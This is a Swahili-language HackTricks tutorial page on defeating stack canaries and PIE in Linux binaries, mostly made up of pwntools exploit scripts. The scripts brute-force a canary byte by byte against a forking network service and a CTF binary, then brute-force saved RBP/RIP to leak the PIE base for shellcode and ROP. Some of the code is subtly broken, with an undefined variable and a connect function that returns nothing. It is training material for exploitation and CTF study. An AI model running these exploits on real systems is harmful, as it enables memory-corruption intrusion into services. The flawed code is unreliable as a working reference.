hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2024-02-11 02:13:58 +00:00

9 KiB

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unakabiliwa na faili ya binary iliyolindwa na canary na PIE (Position Independent Executable), labda unahitaji kupata njia ya kuzipuuza.

{% hint style="info" %} Tambua kwamba checksec inaweza isigundue kuwa faili ya binary imehifadhiwa na canary ikiwa ilikusanywa kwa njia ya static na haiwezi kutambua kazi hiyo.
Walakini, unaweza kugundua hii kwa kujaribu kugundua ikiwa thamani imehifadhiwa kwenye stack mwanzoni mwa wito wa kazi na thamani hii inakaguliwa kabla ya kutoka. {% endhint %}

Kuvunja nguvu ya Canary

Njia bora ya kuzipuuza canary rahisi ni ikiwa faili ya binary ni programu inayofanya mchakato wa watoto kila wakati unapounda uhusiano mpya nayo (huduma ya mtandao), kwa sababu kila wakati unapounganisha nayo canary ile ile itatumika.

Kwa hivyo, njia bora ya kuzipuuza canary ni kwa kuijaribu kwa nguvu kwa kila herufi, na unaweza kugundua ikiwa herufi ya canary iliyoguza ni sahihi kwa kuchunguza ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu, kazi inajaribu kwa nguvu canary ya 8 Bytes (x64) na kutofautisha kati ya herufi iliyoguza sahihi na herufi mbaya tu kwa kuchunguza ikiwa jibu linatumwa na seva (njia nyingine katika hali nyingine inaweza kuwa kutumia jaribu/kukamata):

Mfano 1

Mfano huu umetekelezwa kwa 64bits lakini unaweza kutekelezwa kwa urahisi kwa 32 bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Mfano wa Pili

Hii imeboreshwa kwa ajili ya biti 32, lakini inaweza kubadilishwa kwa urahisi kuwa biti 64.
Pia kumbuka kwamba kwa mfano huu programu inatarajia kwanza byte kuonyesha ukubwa wa kuingiza na mzigo.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Chapisha Canary

Njia nyingine ya kuepuka canary ni kuichapisha.
Fikiria hali ambapo programu inayoweza kudhurika na kujaa kwa stack inaweza kutekeleza kazi ya puts ikielekeza kwa sehemu ya kujaa kwa stack. Mshambuliaji anajua kuwa baiti ya kwanza ya canary ni sifuri (\x00) na sehemu iliyobaki ya canary ni baiti za nasibu. Kisha, mshambuliaji anaweza kuunda kujaa kwa kiasi kinachosababisha kuandika juu ya stack hadi kufikia baiti ya kwanza ya canary.
Kisha, mshambuliaji anaita kazi ya puts katikati ya mzigo wa data ambayo itachapisha canary yote (isipokuwa baiti ya kwanza ya sifuri).
Kwa habari hii, mshambuliaji anaweza kuunda na kutuma shambulio jipya akijua canary (katika kikao kimoja cha programu)

Kwa dhahiri, mkakati huu ni mdogo sana kwani mshambuliaji anahitaji kuweza kuchapisha maudhui ya mzigo wake ili kunasa canary na kisha kuweza kuunda mzigo mpya (katika kikao kimoja cha programu) na kutuma kujaa kwa buffer halisi.
Mfano wa CTF: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Ili kuepuka PIE, unahitaji kuvuja anwani fulani. Na ikiwa faili ya binary haijafichua anwani yoyote, njia bora ya kufanya hivyo ni kujaribu kwa nguvu RBP na RIP zilizohifadhiwa kwenye stack katika kazi inayoweza kudhurika.
Kwa mfano, ikiwa faili ya binary inalindwa kwa kutumia canary na PIE, unaweza kuanza kujaribu kwa nguvu canary, kisha baiti zingine 8 (x64) zitakuwa RBP iliyohifadhiwa na baiti zingine 8 zitakuwa RIP iliyohifadhiwa.

Kwa kujaribu kwa nguvu RBP na RIP kutoka kwenye binary, unaweza kugundua kuwa baiti sahihi iliyokadiriwa ni sahihi ikiwa programu inatoa matokeo au tu haipati ajali. Kazi ile ile iliyotolewa kwa kujaribu kwa nguvu canary inaweza kutumika kwa kujaribu kwa nguvu RBP na RIP:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Pata anwani ya msingi

Jambo la mwisho unalohitaji kushinda PIE ni kuhesabu anwani muhimu kutoka kwa anwani zilizovuja: RBP na RIP.

Kutoka kwa RBP, unaweza kuhesabu mahali ambapo unaiandika kwenye stack. Hii inaweza kuwa muhimu sana kujua wapi unakwenda kuandika herufi "/bin/sh\x00" ndani ya stack. Ili kuhesabu umbali kati ya RBP iliyovuja na shellcode yako, unaweza tu kuweka kizuizi baada ya kuvuja RBP na kuangalia mahali shellcode yako ilipo, kisha unaweza kuhesabu umbali kati ya shellcode na RBP:

INI_SHELLCODE = RBP - 1152

Kutoka kwa RIP unaweza kuhesabu anwani ya msingi ya faili ya PIE ambayo ndiyo utahitaji kuunda mlolongo sahihi wa ROP.
Kuhesabu anwani ya msingi, fanya tu objdump -d vunbinary na angalia anwani za hivi karibuni za kuchambua:

Katika mfano huo, unaweza kuona kuwa inahitajika Byte 1 na nusu tu kuweza kupata nambari yote, basi, anwani ya msingi katika hali hii itakuwa RIP iliyovuja lakini ikimalizika kwa "000". Kwa mfano ikiwa ulivuja _0x562002970ecf _ anwani ya msingi ni 0x562002970000

elf.address = RIP - (RIP & 0xfff)
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: